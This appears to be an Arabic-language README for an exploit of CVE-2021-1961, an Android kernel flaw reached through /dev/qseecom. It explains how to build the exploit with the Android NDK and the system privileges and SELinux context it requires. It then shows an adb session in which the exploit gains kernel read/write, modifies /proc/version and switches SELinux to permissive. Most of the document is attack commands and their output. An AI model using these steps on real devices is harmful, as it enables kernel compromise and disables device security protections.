
كود استغلال لـ CVE-2021-1961
كود الاستغلال لثغرة CVE-2021-1961. الشرح الكامل متاح على مدونتي.
من أجل بناء الاستغلال، قم بتشغيل ndk-build الخاص بـ Android NDK.
من أجل تشغيل الاستغلال، تحتاج إلى الوصول إلى /dev/qseecom، وهو
ما يعني امتلاك المستخدم/المجموعة الصحيحين وسياق SELinux الصحيح. يمكن
القيام بذلك إما على صورة تصحيح باستخدام الأمر su system، أو على صورة أصلية
معدّلة باستخدام Magisk باستخدام الأمر
su - system.
فيما يلي مثال لتشغيل الاستغلال على صورة أصلية معدّلة باستخدام Magisk:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive